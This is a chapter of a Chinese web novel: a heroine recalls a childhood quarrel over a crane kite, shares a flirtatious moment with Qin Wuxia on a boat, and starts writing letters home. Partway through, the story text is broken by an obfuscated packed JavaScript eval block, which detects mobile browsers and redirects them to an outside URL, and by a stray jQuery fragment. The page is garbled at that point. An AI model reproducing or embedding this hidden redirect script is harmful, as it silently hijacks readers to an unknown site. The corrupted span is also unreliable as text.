第二百二十二章 纸鸢
作品:《闻道洛阳花正好》 “呀!”
墨微辰喉咙发出一声急叹,纸鸢已落在地上。
凤霄也有些愣,从她身后绕出来,奔上前在纸鸢边站定:“怎么就掉下来了呢?是不是你没放线?”
他的话像纸鸢般轻轻的,却似砸在她心上,墨微辰又急又气:“错了!全错了!是该收线不是放线!线拉不紧,它会打旋——”
“那你刚才也没拉线呀?”凤霄不服,额上汗珠在阳光下亮晶晶的。
“还不是你这纸鸢不好,拉不得?”
“我做的纸鸢哪儿不好了?”
“首先重心就不对!”墨微辰蹲下身,捡起那只摔歪了骨架的仙鹤纸鸢,指着尾翼,“这里,竹骨削得太轻,绢面又绷得太紧,头重脚轻,怎么能飞稳?”她说着,小脸板得严肃,“扎纸鸢讲究‘骨匀’‘面平’‘线准’‘尾衡’,要领又曰‘三匀三忌’,你这差了不止一星半点,连工巧门一点儿边都沾不上。”
凤霄被她噎得脸色微红,再不复洒脱飘逸,他冷笑一声,择了最难听的话道:“是,工巧门厉害。可你这么懂,怎么三年了还考不进工巧门?”
这话戳中了墨微辰最在意的事。她猛地站起身,纸鸢掉在地上也顾不上:“你...”
“我怎么?”凤霄抱起胳膊,少年人清瘦的身形已初现挺拔轮廓,“谁不知道,墨家堡胖龙包天资聪颖,偏偏在‘六艺定枢’大典上连考三年,年年落选。”他顿了顿,嘴角勾起一抹看透一切的了然,“我听说,你们家有个规矩——若你择定一门,便是要做那一门之主,而当年大典的魁首,便是你定亲之人。胖龙包,我赌给你讲三晚故事,你是不想定亲,才故意考不进的吧?”
墨微辰的脸“唰”地白了。
她死死盯着他,嘴唇抿成一条线,许久,她才从牙缝里挤出一句:“你听谁说的?”
凤霄耸了耸肩:“我听谁说并不重要。重要的是,不管是想把你娶回家的那个人,还是你想嫁的人,大抵都没能耐当今年的魁首。”他没心没肺地笑起来:“因为今年的魁首,必、定、是、我...大概你还要落选一年了。”
墨微辰愣了愣。
草坡上,风声让沉默更沉默。
“落选便落选,”她的声音骤然低下去,“...我讨厌被安排。魁首是你也好,不是你也好。我有手有脚,有脑子有心,凭什么我要嫁的人,要由一场大典来决定?”
她开口时有一种她自己也说不清的感觉,她甚至不知道自己为什么要向凤霄剖析内心的话。她只知道,她必须开口,才能让心口那种压抑的感觉,疏散一些。
少年喉结轻轻滚动了一下。
“我...”他感受到她的低落,却想错了方向,“难道你有想嫁的人了?谁啊?”
“...反正,不是你。”
“那你...们明年再考?我今年必须考...”
/
“在想什么?”
现实中的声音将回忆打断。
墨微辰猛地回神,才发现秦无瑕不知何时已站在身侧,捏着一盏清茶,正低头认真地凝视着她。河风拂动他宽肩上的狐裘,她在他眼中看到凤霄的影子,却又比清俊漂亮的凤霄多三分英气,七分气度。
瞧他现下气定神闲模样,也不知他维持这个姿势看了多久。
她脸颊微热,慌忙接过茶盏掩饰:“没、没什么...就是想起某人小时候连纸鸢都不会放,笨手笨脚的。”
秦无瑕眉梢微挑:“噢,那个。想起来了,那时候你欺负我。”
“我欺负你?”墨微辰只觉匪夷所思,到底是谁连话都听不懂,把她气哭了?她将茶盏往栏上一放:“讲点儿理吧,你那纸鸢,确实做得不咋地。”
秦无瑕笑着接过她手上茶盏再一次递出,像哄像骗:“喝下,我可解释。”
她睨着他,伸手去接,他却将茶盏捧到她唇边。
突然的亲密让墨微辰不知该怎么办,她轻咳一声,伸手扶住了茶盏,就着他的手,浅尝一口。
虽是热茶,却有一股霜气,入口后浮起甜,最后又留下苦。
实在不算好喝。
墨微辰将茶盏推开。尝过一口,也算是喝了。
秦无瑕将茶盏放到鼻下轻嗅,竟忽而一仰头,将余下大半盏喝完了。
但那是她喝过的茶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060693|169872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>墨微辰脸上发红,迅速道:“解释呢?”
秦无瑕将空了的茶盏放下,同她并排倚靠在船栏上,将目光投向远方的山峦,缓声道:“我承认,我是不会扎纸鸢。我自两岁起开始练功修行,两位师父轮流教导,一个从黎明到晌午,一个从午后到日落,日落后还要随父亲读书,为担大任,日日如此。时光没有留给我扎纸鸢的机会,在草坡上遇见你时,是我第一次放纸鸢...那只仙鹤纸鸢,也是我第一次做。”
他侧过脸,清清淡淡地看着她,清隽眉目间似有些许委屈:“我第一次做出来的纸鸢,你便以工巧门的要领来要求,难道不是欺负我?”
墨微辰蓦地咬住下唇。
他说得轻描淡写,仿佛那是再寻常不过的事,可她却从他平平淡淡的话里听出其他。她想起他那些举重若轻的身手,想起他指尖那股醇厚绵长的内力——原来都不是天赋,是滴水穿石的十年功,是单调枯燥、甚至艰苦严苛的全部童年。
心里忽然有点发酸。
“真的吗?我真不该...”她抬眸看他,想从他表情里找出更多,他却已转开话题,伸手揉了揉她的发顶:“别想了。“等到了江南,你教我再做一只,亲身指导我放纸鸢,如何?”
他眼底笑意加深,声音压低了,带着某种诱哄的意味。
那双含情目简直要滴出水来,墨微辰心跳漏了一拍,慌忙转身,把栏上茶盏都打翻了:“谁、谁要教你!我要写信去了!”
身后传来秦无瑕低低的笑声,她几乎是逃也似的钻进了船舱。
暮色落下,漕船悄然启航。
墨微辰盘膝坐在舱内矮榻上,面前矮几上铺着信纸,一旁烛火跳跃。她握着笔,斟酌字句。给父亲的信写得很慢,她要尽量将字写得端正。父亲最重规矩,信笺上的字若潦草了,少不得要被说教。
然后是大哥。大哥就是又一版的父亲,同样马虎不。二哥好说,不管她些什么都少不了一通挤兑。她草草给二哥搪塞两句,开始思考要告诉三哥什么新鲜玩意儿。
她咬着笔头,仿佛那是啃完就能带来灵感的神药。无意间发现,窗外有一只小船,悄然靠近了。

